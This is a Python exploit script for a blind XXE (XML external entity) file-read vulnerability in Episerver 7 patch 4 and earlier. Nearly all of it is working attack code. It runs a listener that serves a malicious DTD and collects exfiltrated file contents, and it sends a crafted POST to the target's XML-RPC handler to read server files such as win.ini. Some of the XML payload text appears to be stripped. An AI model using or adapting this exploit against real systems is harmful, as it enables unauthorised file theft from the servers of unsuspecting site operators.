#!/usr/bin/python ## ## episploit.py - Blind XXE file read exploit for Episerver 7 patch 4 and below ## ## Starts a listening webserver, so the exploits needs a public IP and unfiltered port, configure RHOST below! ## ## Written by Jonas Lejon 2017-12-19 https://triop.se ## Based on https://gist.github.com/mgeeky/7f45c82e8d3097cbbbb250e37bc68573 ## ## Usage: ./episploit.py [file-to-read] ## from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import urllib import re import sys import time import threading import socket SERVER_SOCKET = ('0.0.0.0', 8000) EXFIL_FILE = 'file:///c:/windows/win.ini' # The public facing IP. Change this RHOST = '1.2.3.4:' + str(SERVER_SOCKET[1]) EXFILTRATED_EVENT = threading.Event() class BlindXXEServer(BaseHTTPRequestHandler): def response(self, **data): code = data.get('code', 200) content_type = data.get('content_type', 'text/plain') body = data.get('body', '') self.send_response(code) self.send_header('Content-Type', content_type) self.end_headers() self.wfile.write(body.encode('utf-8')) self.wfile.close() def do_GET(self): self.request_handler(self) def do_POST(self): self.request_handler(self) def log_message(self, format, *args): return def request_handler(self, request): global EXFILTRATED_EVENT path = urllib.unquote(request.path).decode('utf8') m = re.search('\/\?exfil=(.*)', path, re.MULTILINE) if m and request.command.lower() == 'get': data = path[len('/?exfil='):] print 'Exfiltrated %s:' % EXFIL_FILE print '-' * 30 print urllib.unquote(data).decode('utf8') print '-' * 30 + '\n' self.response(body='true') EXFILTRATED_EVENT.set() elif request.path.endswith('.dtd'): print 'Sending malicious DTD file.' dtd = ''' "> %%param_request;''' % {'exfil_file' : EXFIL_FILE, 'exfil_host' : RHOST} self.response(content_type='text/xml', body=dtd) else: print '[INFO] %s %s' % (request.command, request.path) self.response(body='false') def send_stage1(target): content = '''&exfil;''' payload = '''POST /util/xmlrpc/Handler.ashx?pageid=1023 HTTP/1.1 Host: ''' + target + ''' User-Agent: curl/7.54.0 Accept: */* Content-Length: ''' + str(len(content)) + ''' Content-Type: application/x-www-form-urlencoded Connection: close ''' + content print "Sending payload.." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) port = 80 s.connect((target,port)) s.send(payload) def main(target): server = HTTPServer(SERVER_SOCKET, BlindXXEServer) thread = threading.Thread(target=server.serve_forever) thread.daemon = True thread.start() send_stage1(target) while not EXFILTRATED_EVENT.is_set(): pass if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] if len(sys.argv) > 2: EXFIL_FILE = sys.argv[2] main(target)